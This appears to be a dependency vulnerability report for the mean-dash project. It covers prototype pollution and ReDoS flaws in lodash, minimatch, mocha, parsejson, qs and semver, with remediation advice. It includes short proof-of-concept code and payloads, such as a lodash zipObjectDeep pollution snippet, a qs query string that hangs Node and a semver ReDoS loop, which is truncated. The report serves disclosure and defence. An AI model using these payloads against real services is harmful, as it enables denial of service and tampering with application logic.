Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade loader-utils to version 1.4.1, 2.0.3 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: gulp@3.9.1, jshint@2.9.3 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-watcher@0.0.6 › gaze@0.5.2 › globule@0.1.0 › lodash@1.0.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint@2.9.3 › lodash@3.7.0Remediation: Upgrade to jshint@2.9.6.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › jshint-loader@0.8.4 › rcloader@0.1.2 › lodash@2.4.2
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › lodash@3.10.1Remediation: Upgrade to karma@2.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma-webpack@1.8.1 › lodash@3.10.1Remediation: Upgrade to karma-webpack@2.0.10.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution through the zipObjectDeep function due to improper user input sanitization in the baseZipObject function.
PoC
lodash.zipobjectdeep:
const zipObjectDeep = require("lodash.zipobjectdeep");
let emptyObject = {};
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
lodash:
const test = require("lodash");
let emptyObject = {};
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
test.zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.17 or higher.
References
high severity
- Vulnerable module: minimatch
- Introduced through: karma@0.13.5 and gulp@3.9.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › minimatch@2.0.10Remediation: Upgrade to karma@0.13.12.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-stream@3.1.18 › minimatch@2.0.10
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-stream@3.1.18 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to gulp@4.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-watcher@0.0.6 › gaze@0.5.2 › globule@0.1.0 › minimatch@0.2.14
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-watcher@0.0.6 › gaze@0.5.2 › globule@0.1.0 › glob@3.1.21 › minimatch@0.2.14
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via complicated and illegal regexes.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade minimatch to version 3.0.2 or higher.
References
high severity
- Vulnerable module: minimatch
- Introduced through: karma@0.13.5 and gulp@3.9.1
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › minimatch@2.0.10Remediation: Upgrade to karma@0.13.12.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-stream@3.1.18 › minimatch@2.0.10Remediation: Open PR to patch minimatch@2.0.10.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-stream@3.1.18 › glob@4.5.3 › minimatch@2.0.10Remediation: Upgrade to gulp@4.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-watcher@0.0.6 › gaze@0.5.2 › globule@0.1.0 › minimatch@0.2.14Remediation: Open PR to patch minimatch@0.2.14.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › vinyl-fs@0.3.14 › glob-watcher@0.0.6 › gaze@0.5.2 › globule@0.1.0 › glob@3.1.21 › minimatch@0.2.14Remediation: Open PR to patch minimatch@0.2.14.
Overview
minimatch is a minimal matching utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS).
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade minimatch to version 3.0.2 or higher.
References
high severity
- Vulnerable module: mocha
- Introduced through: mocha@3.5.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › mocha@3.5.3Remediation: Upgrade to mocha@10.1.0.
Overview
mocha is a javascript test framework for node.js & the browser.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the clean function in utils.js.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mocha to version 10.1.0 or higher.
References
high severity
- Vulnerable module: mocha
- Introduced through: mocha@3.5.3
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › mocha@3.5.3Remediation: Upgrade to mocha@6.0.0.
Overview
mocha is a javascript test framework for node.js & the browser.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If the stack trace in utils.js begins with a large error message (>= 20k characters), and full-trace is not undisabled, utils.stackTraceFilter() will take exponential time to run.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mocha to version 6.0.0 or higher.
References
high severity
- Vulnerable module: parsejson
- Introduced through: karma@0.13.5
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › socket.io@1.3.7 › socket.io-client@1.3.7 › engine.io-client@1.5.4 › parsejson@0.0.1
Overview
parsejson is a method that parses a JSON string and returns a JSON object.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. An attacker may pass a specially crafted JSON data, causing the server to hang.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
There is no fixed version for parsejson.
References
high severity
- Vulnerable module: qs
- Introduced through: http-server@0.9.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › http-server@0.9.0 › union@0.4.6 › qs@2.3.3Remediation: Upgrade to http-server@0.11.2.
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Prototype Override Protection Bypass. By default qs protects against attacks that attempt to overwrite an object's existing prototype properties, such as toString(), hasOwnProperty(),etc.
From qs documentation:
By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.
Overwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.
In versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with [ or ]. e.g. qs.parse("]=toString") will return {toString = true}, as a result, calling toString() on the object will throw an exception.
Example:
qs.parse('toString=foo', { allowPrototypes: false })
// {}
qs.parse("]=toString", { allowPrototypes: false })
// {toString = true} <== prototype overwritten
For more information, you can check out our blog.
Disclosure Timeline
- February 13th, 2017 - Reported the issue to package owner.
- February 13th, 2017 - Issue acknowledged by package owner.
- February 16th, 2017 - Partial fix released in versions
6.0.3,6.1.1,6.2.2,6.3.1. - March 6th, 2017 - Final fix released in versions
6.4.0,6.3.2,6.2.3,6.1.2and6.0.4
Remediation
Upgrade qs to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.
References
high severity
- Vulnerable module: qs
- Introduced through: http-server@0.9.0
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › http-server@0.9.0 › union@0.4.6 › qs@2.3.3Remediation: Upgrade to http-server@0.11.2.
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Prototype Poisoning which allows attackers to cause a Node process to hang, processing an Array object whose prototype has been replaced by one with an excessive length value.
Note: In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade qs to version 6.2.4, 6.3.3, 6.4.1, 6.5.3, 6.6.1, 6.7.3, 6.8.3, 6.9.7, 6.10.3 or higher.
References
high severity
- Vulnerable module: semver
- Introduced through: gulp@3.9.1, karma@0.13.5 and others
Detailed paths
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › gulp@3.9.1 › semver@4.3.6Remediation: Upgrade to gulp@4.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › karma@0.13.5 › log4js@0.6.38 › semver@4.3.6Remediation: Upgrade to karma@2.0.0.
-
Introduced through: mean-dash@operationcode/mean-dash#4df60559cf53cdad46244ae860750f1d177e4f80 › node-sass@4.14.1 › node-gyp@3.8.0 › semver@5.3.0Remediation: Upgrade to node-sass@5.0.0.
Overview
semver is a semantic version parser used by npm.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.
PoC
const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})
const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
